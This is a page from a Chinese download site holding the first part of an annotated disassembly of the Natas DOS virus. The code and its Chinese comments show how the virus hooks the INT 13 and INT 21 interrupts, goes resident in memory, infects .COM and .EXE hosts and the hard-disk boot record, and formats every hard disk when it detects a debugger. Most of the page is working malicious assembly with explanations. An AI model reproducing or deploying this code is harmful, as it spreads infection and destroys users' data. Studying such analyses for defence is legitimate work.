⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas 幽灵王病毒的分析.htm

📁 1575病毒源程序分析
💻 HTM
📖 第 1 页 / 共 4 页
字号:
;由初始化程序调用
9E80:0214 E882FE         CALL	0099 		;保存 INT 13/15/21/40
9E80:0217 B452           MOV	AH,52		;中断前 5 字节
9E80:0219 CD21           INT	21 
9E80:021B 268B47FE       MOV	AX,ES:[BX-02] 	;AX = 第一块 MCB 地址
9E80:021F A3AD02         MOV	[02AD],AX 
9E80:0222 B001           MOV	AL,01 		;取 INT 01 中断地址
9E80:0224 E89CFE         CALL	00C3 
9E80:0227 53             PUSH	BX 
9E80:0228 06             PUSH	ES 
9E80:0229 BA7702         MOV	DX,0277 	;设置 INT 01 中断地址
9E80:022C E8A5FE         CALL	00D4 		;到 CS:0277
9E80:022F 9C             PUSHF	 
9E80:0230 5E             POP	SI </FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0231 BF9702         MOV	DI,0297 
9E80:0234 C60503         MOV	Byte Ptr [DI],03 
9E80:0237 B401           MOV	AH,01 
9E80:0239 E83400         CALL	0270 		;激活 INT 01
9E80:023C E87C08         CALL	0ABB 		;执行 INT 13,找 BIOS INT 13地址
;本句功能为先执行 029B, 再执行 02C8,在 02C8 中找出
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之间
;找到以后转 02B4, 将 INT 13 地址保存在 13EB 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:023F C60526         MOV	Byte Ptr [DI],26
9E80:0242 B4C0           MOV	AH,C0 
9E80:0244 E82900         CALL	0270 		;激活 INT 01
9E80:0247 9C             PUSHF	 		;调用 INT 15,找 BIOS INT 15地址
9E80:0248 FF1EF313       CALL	FAR [13F3] 
;本段功能为先执行 02BE, 同上找出 BIOS INT 15 地址
;保存于 13F3 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:024C C60513         MOV	Byte Ptr [DI],13 
9E80:024F B430           MOV	AH,30
9E80:0251 E81C00         CALL	0270 		;激活 INT 01
9E80:0254 E86E08         CALL	0AC5 		;调用 INT 21
;本段功能为找出 MSDOS 中 INT 21 的地址, 先执行
;02AB, 判断执行段地址小于第一块 MCB 地址, 即为
;INT 21 的地址, 找到后保存于 13FB 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0257 C6052B         MOV	Byte Ptr [DI],2B
9E80:025A B401           MOV	AH,01 
9E80:025C E81100         CALL	0270 
9E80:025F E86908         CALL	0ACB 
;本段功能为找出 BIOS INT 40 地址,具体为先执行 02C3
;再同 INT 13 之执行, 找到 INT 40 地址保存于 13F7 中</FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0262 81E6FFFE       AND	SI,FEFF 
9E80:0266 56             PUSH	SI 
9E80:0267 9D             POPF			;停止 INT 01
9E80:0268 1F             POP	DS 		;恢复原 INT 01 地址
9E80:0269 5A             POP	DX 
9E80:026A B001           MOV	AL,01 
9E80:026C E865FE         CALL	00D4 
9E80:026F C3             RET	 </FONT></PRE><PRE><FONT color=#008080 size=2>9E80:0270 81CE0001       OR	SI,0100 
9E80:0274 56             PUSH	SI 
9E80:0275 9D             POPF	 
9E80:0276 C3             RET	 
;=========================================================================
;	病毒新 INT 01
;	这是一个多个地方调用的子程序, 先由调用者设置 0296 出 JNZ 指令
;	跳转的地址, 再设置并激活 INT 01
;	在 0099 中用来找出初始 INT 13/15/21/40 地址
;	在 INT 21 结束时用来重新截取 INT 21
9E80:0277 1E             PUSH	DS 
9E80:0278 0E             PUSH	CS 
9E80:0279 1F             POP	DS 
9E80:027A 893E6F03       MOV	[036F],DI 	;DI = 13E3
9E80:027E BF6303         MOV	DI,0363 
9E80:0281 8905           MOV	[DI],AX 	;保存返回时的
9E80:0283 895D03         MOV	[DI+03],BX 	;AX 到 DX 值
9E80:0286 894D06         MOV	[DI+06],CX 
9E80:0289 895509         MOV	[DI+09],DX 
9E80:028C 8F45FB         POP	[DI-05] 	;保存返回时的 DS
9E80:028F 5B             POP	BX 		;调用 IP (INT 01)
9E80:0290 59             POP	CX 		;调用 CS
9E80:0291 5A             POP	DX 		;调用 FLAG
9E80:0292 8CC8           MOV	AX,CS 
9E80:0294 3BC1           CMP	AX,CX 		;是否调用者在病毒内
9E80:0296 752B           JNZ	02C3 		;不在病毒内开始执行 INT 01 功能
9E80:0298 E9BF00         JMP	035A
;以下由 022F 处执行, 找 MSDOS INT 13 地址
9E80:029B 3B0EAD02       CMP	CX,[02AD] 	;02AD 为第一个 MCB 地址
9E80:029F 734D           JNB	02EE 		;不在 MSDOS 内返回
9E80:02A1 BFEF13         MOV	DI,13EF 
9E80:02A4 C606970230     MOV	Byte Ptr [0297],30	;下一次 0296
9E80:02A9 EB0C           JMP	02B7 		;处为 JNZ 02C8
;以下由 0257 处执行, 找 INT 21 地址
9E80:02AB 81F9A30B       CMP	CX,0BA3  ===&gt;	;本句地址由 021F 设置
9E80:02AF 733D           JNB	02EE 		;为第一块 MCB 地址
9E80:02B1 BFFB13         MOV	DI,13FB 
9E80:02B4 80E6FE         AND	DH,FE 		;保存找到的地址
9E80:02B7 891D           MOV	[DI],BX 	;并停止 INT 01
9E80:02B9 894D02         MOV	[DI+02],CX 
9E80:02BC EB30           JMP	02EE 
;以下由 024C 处执行, 找 INT 15 地址
9E80:02BE BFF313         MOV	DI,13F3 
9E80:02C1 EB08           JMP	02CB 
;以下由 0262 处执行, 找 INT 40 地址
9E80:02C3 BFF713         MOV	DI,13F7 
9E80:02C6 EB03           JMP	02CB 
9E80:02C8 BFEB13         MOV	DI,13EB 	;从 02A9 转来
9E80:02CB 80FDC8         CMP	CH,C8 		;段地址 &lt; C800 退出
9E80:02CE 721E           JB	02EE 
9E80:02D0 80FDF4         CMP	CH,F4 		;段地址 &gt; F400 退出
9E80:02D3 72DF           JB	02B4 		;段地址指向 BIOS 转 02B4
9E80:02D5 EB17           JMP	02EE 		;保存及停止 INT 01
;INT 01 在 INT 21 结束时执行转此处
9E80:02D7 FE0E1214       DEC	Byte Ptr [1412] 
9E80:02DB 7511           JNZ	02EE 
9E80:02DD 52             PUSH	DX 		;到 INT 21 第一句
9E80:02DE B001           MOV	AL,01 		;恢复 INT 01 中断
9E80:02E0 C516E313       LDS	DX,[13E3] 
9E80:02E4 E8EDFD         CALL	00D4 		;
9E80:02E7 E806FF         CALL	01F0 		;截取 INT 21 中断
9E80:02EA 5A             POP	DX 
9E80:02EB 80E6FE         AND	DH,FE 
9E80:02EE F6C601         TEST	DH,01 		;标志复位转 035A 退出
9E80:02F1 7467           JZ	035A 
9E80:02F3 8ED9           MOV	DS,CX 
9E80:02F5 33FF           XOR	DI,DI 
9E80:02F7 8B01           MOV	AX,[BX+DI] 
9E80:02F9 3CF0           CMP	AL,F0 
9E80:02FB 7412           JZ	030F 
9E80:02FD 3CF2           CMP	AL,F2 
9E80:02FF 740E           JZ	030F 
9E80:0301 3CF3           CMP	AL,F3 
9E80:0303 740A           JZ	030F 
9E80:0305 3C9C           CMP	AL,9C 
9E80:0307 7309           JNB	0312 
9E80:0309 24E7           AND	AL,E7 
9E80:030B 3C26           CMP	AL,26
9E80:030D 754B           JNZ	035A 
9E80:030F 47             INC	DI 
9E80:0310 EBE5           JMP	02F7 
9E80:0312 750C           JNZ	0320 
9E80:0314 80E6FE         AND	DH,FE 
9E80:0317 52             PUSH	DX 
9E80:0318 8D5901         LEA	BX,[BX+DI+01] 
9E80:031B 80CE01         OR	DH,01 
9E80:031E EBD3           JMP	02F3 
9E80:0320 3C9D           CMP	AL,9D 
9E80:0322 7503           JNZ	0327 
9E80:0324 5A             POP	DX 
9E80:0325 EBF1           JMP	0318 
9E80:0327 3CCF           CMP	AL,CF 
9E80:0329 7505           JNZ	0330 
9E80:032B 5B             POP	BX 
9E80:032C 59             POP	CX 
9E80:032D 5A             POP	DX 
9E80:032E EBEB           JMP	031B 
9E80:0330 3CCD           CMP	AL,CD 
9E80:0332 7412           JZ	0346 
9E80:0334 3CCC           CMP	AL,CC 
9E80:0336 B403           MOV	AH,03 
9E80:0338 740B           JZ	0345 
9E80:033A 3CCE           CMP	AL,CE 
9E80:033C B404           MOV	AH,04 
9E80:033E 751A           JNZ	035A 
9E80:0340 F6C608         TEST	DH,08 
9E80:0343 7415           JZ	035A 
9E80:0345 4B             DEC	BX 
9E80:0346 80E6FE         AND	DH,FE 
9E80:0349 8D5902         LEA	BX,[BX+DI+02] 
9E80:034C 52             PUSH	DX 
9E80:034D 51             PUSH	CX 
9E80:034E 53             PUSH	BX 
9E80:034F 8AC4           MOV	AL,AH 
9E80:0351 06             PUSH	ES 
9E80:0352 E86EFD         CALL	00C3 
9E80:0355 8CC1           MOV	CX,ES 
9E80:0357 07             POP	ES 
9E80:0358 EBC1           JMP	031B 
9E80:035A 52             PUSH	DX 
9E80:035B 51             PUSH	CX 
9E80:035C 53             PUSH	BX 
9E80:035D B85E9E         MOV	AX,9E5E 
9E80:0360 8ED8           MOV	DS,AX 
9E80:0362 B80601         MOV	AX,0106 
9E80:0365 BB00FF         MOV	BX,FF00 
9E80:0368 B90000         MOV	CX,0000 
9E80:036B BA7702         MOV	DX,0277 
9E80:036E BF9702         MOV	DI,0297 
9E80:0371 CF             IRET	 </FONT></PRE><PRE><FONT color=#008080 size=2>;=========================================================================
;	可执行文件入口
;=========================================================================
9E80:0372 1E             PUSH	DS 
9E80:0373 E80000         CALL	0376 		;重定位
9E80:0376 5E             POP	SI 
9E80:0377 81EE7603       SUB	SI,0376 
9E80:037B E83BFE         CALL	01B9 		;检测是否有跟踪
9E80:037E 0BED           OR	BP,BP 		;有跟踪转 038D
9E80:0380 750B           JNZ	038D 
9E80:0382 B430           MOV	AH,30
9E80:0384 BB9AF9         MOV	BX,F99A 
9E80:0387 CD21           INT	21 
9E80:0389 3C03           CMP	AL,03 		;内存驻留检测
9E80:038B 7230           JB	03BD 		;已驻留转 03BD
9E80:038D 8CC0           MOV	AX,ES 
9E80:038F 48             DEC	AX 
9E80:0390 8ED8           MOV	DS,AX 
9E80:0392 33FF           XOR	DI,DI 
9E80:0394 0BED           OR	BP,BP 		;有跟踪转 039D
9E80:0396 7505           JNZ	039D 
9E80:0398 803D5A         CMP	Byte Ptr [DI],5A	;非最后一块 MCB
9E80:039B 7520           JNZ	03BD 		;转执行原程序
9E80:039D B86201         MOV	AX,0162 
9E80:03A0 294503         SUB	[DI+03],AX 	;内存减 1620 (5664)字节
9E80:03A3 294512         SUB	[DI+12],AX 
9E80:03A6 8E4512         MOV	ES,[DI+12] 
9E80:03A9 8EDF           MOV	DS,DI 		;BIOS 内存减 6K
9E80:03AB 832E130406     SUB	Word Ptr [0413],+06 
9E80:03B0 B9D913         MOV	CX,13D9 	;将病毒 13D9 字节移动到高端
9E80:03B3 FC             CLD	 
9E80:03B4 F3             REPZ	
9E80:03B5 2EA4           MOVSB	CS: 
9E80:03B7 B8FA03         MOV	AX,03FA 	;转高端 03FA 继续执行
9E80:03BA 06             PUSH	ES 
9E80:03BB 50             PUSH	AX 
9E80:03BC CB             RETF	 
;=========================================================================
9E80:03BD 0E             PUSH	CS 		;执行原程序
9E80:03BE 1F             POP	DS 
9E80:03BF 07             POP	ES 
9E80:03C0 8DB47012       LEA	SI,[SI+1270] 	;原文件头位置
9E80:03C4 8B04           MOV	AX,[SI] 
9E80:03C6 3D4D5A         CMP	AX,5A4D 	;.EXE 文件转 03DF
9E80:03C9 7414           JZ	03DF 
9E80:03CB 3D5A4D         CMP	AX,4D5A 
9E80:03CE 740F           JZ	03DF 
9E80:03D0 B90C00         MOV	CX,000C 	;.COM 文件恢复原文件头 000C字
9E80:03D3 BF0001         MOV	DI,0100 	;原文件头 ==&gt; CS:0100
9E80:03D6 06             PUSH	ES 
9E80:03D7 57             PUSH	DI 
9E80:03D8 FC             CLD	 
9E80:03D9 F3             REPZ	
9E80:03DA A5             MOVSW	 
9E80:03DB 06             PUSH	ES 
9E80:03DC 1F             POP	DS 
9E80:03DD 91             XCHG	AX,CX 		;执行原 .COM 文件
9E80:03DE CB             RETF	 </FONT></PRE><PRE><FONT color=#008080 size=2>9E80:03DF 8CC0           MOV	AX,ES 		;.EXE 文件重定位
9E80:03E1 051000         ADD	AX,0010 
9E80:03E4 014416         ADD	[SI+16],AX 
9E80:03E7 03440E         ADD	AX,[SI+0E] 
9E80:03EA 06             PUSH	ES 
9E80:03EB 1F             POP	DS 
9E80:03EC FA             CLI	 
9E80:03ED 8ED0           MOV	SS,AX 
9E80:03EF 2E8B6410       MOV	SP,CS:[SI+10] 
9E80:03F3 33C0           XOR	AX,AX 
9E80:03F5 FB             STI	 
9E80:03F6 2EFF6C14       JMP	FAR CS:[SI+14] 	;执行原 .EXE 文件
;=========================================================================
;文件初始化时由低段跳转过来
9E80:03FA 0E             PUSH	CS 
9E80:03FB 1F             POP	DS 		;DI = 13DA
9E80:03FC C6453801       MOV	Byte Ptr [DI+38],01 	;DS:[1412]
9E80:0400 B80200         MOV	AX,0002 
9E80:0403 E8600D         CALL	1166 		;产生随机数
9E80:0406 A23D0A         MOV	[0A3D],AL 
9E80:0409 C60673042E     MOV	Byte Ptr [0473],2E 
9E80:040E B0EA           MOV	AL,EA 
9E80:0410 AA             STOSB	 
9E80:0411 884504         MOV	[DI+04],AL 	;新 INT 13 中断前 5 字节
9E80:0414 B87204         MOV	AX,0472 	;JMP CS:0472
9E80:0417 AB             STOSW	 
9E80:0418 C745037305     MOV	Word Ptr [DI+03],0573 
9E80:041D 8C0D           MOV	[DI],CS 	;新 INT 21 中断前 5 字节
9E80:041F 8C4D05         MOV	[DI+05],CS 	;JMP CS:0573
9E80:0422 57             PUSH	DI 
9E80:0423 E8EEFD         CALL	0214		;取 INT 13/15/21/40 地址 
9E80:0426 5F             POP	DI 
9E80:0427 0E             PUSH	CS 
9E80:0428 1F             POP	DS 
9E80:0429 A1AD02         MOV	AX,[02AD] 
9E80:042C 394515         CMP	[DI+15],AX 	;[13EF]
9E80:042F 770B           JA	043C 
9E80:0431 394521         CMP	[DI+21],AX 	;[13FB]
9E80:0434 7706           JA	043C 		;未找到 MSDOS INT 21 入口不截取
9E80:0436 E8ABFD         CALL	01E4 		;截取 INT 13
9E80:0439 E8B4FD         CALL	01F0 		;截取 INT 21
9E80:043C E8D4FC         CALL	0113 		;传染硬盘主引导区
9E80:043F 0BED           OR	BP,BP 
9E80:0441 8BF5           MOV	SI,BP 
9E80:0443 7503           JNZ	0448 		;有跟踪转 0448
9E80:0445 E975FF         JMP	03BD 		;无跟踪转 03BD 执行原程序
9E80:0448 33DB           XOR	BX,BX 
9E80:044A 8EC3           MOV	ES,BX 
9E80:044C B280           MOV	DL,80 
9E80:044E 32F6           XOR	DH,DH 
9E80:0450 33C9           XOR	CX,CX 		;如果有跟踪
9E80:0452 B80105         MOV	AX,0501 	;格式化硬盘
9E80:0455 E85E06         CALL	0AB6 
9E80:0458 80E1C0         AND	CL,C0 
9E80:045B FEC5           INC	CH 
9E80:045D 75F3           JNZ	0452 
9E80:045F 80C140         ADD	CL,40
9E80:0462 75EE           JNZ	0452 
9E80:0464 32E4           XOR	AH,AH 		;磁盘复位
9E80:0466 CD13           INT	13 
9E80:0468 FEC6           INC	DH 
9E80:046A 80FE10         CMP	DH,10 
9E80:046D 72E1           JB	0450 
9E80:046F 42             INC	DX 		;转格式化第二个硬盘
9E80:0470 EBDC           JMP	044E 
;=========================================================================
;	病毒新 INT 13H 中断服务程序
;=========================================================================
9E80:0472 EB2E           JMP	04A2   ====&gt;	;本句指令引导区引入时为 NOP
9E80:0474 E875FC         CALL	00EC 		;本段程序为在引导区启动
9E80:0477 B021           MOV	AL,21		;时截取 INT 21
9E80:0479 E847FC         CALL	00C3 		;取 INT 21 中断向量于 ES:BX
9E80:047C 8CC0           MOV	AX,ES 
9E80:047E 0E             PUSH	CS 
9E80:047F 0E             PUSH	CS 
9E80:0480 1F             POP	DS 
9E80:0481 07             POP	ES 
9E80:0482 3D0008         CMP	AX,0800 	;INT 21 段地址 &gt; 0800
9E80:0485 7718           JA	049F 		;表示尚未设置
9E80:0487 BFFD13         MOV	DI,13FD 
9E80:048A FD             STD	 
9E80:048B 8705           XCHG	AX,[DI] 
9E80:048D AF             SCASW	 
9E80:048E 740F           JZ	049F 		;等于启动初始值退出
9E80:0490 891D           MOV	[DI],BX 	;保存新地址
9E80:0492 B021           MOV	AL,21

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -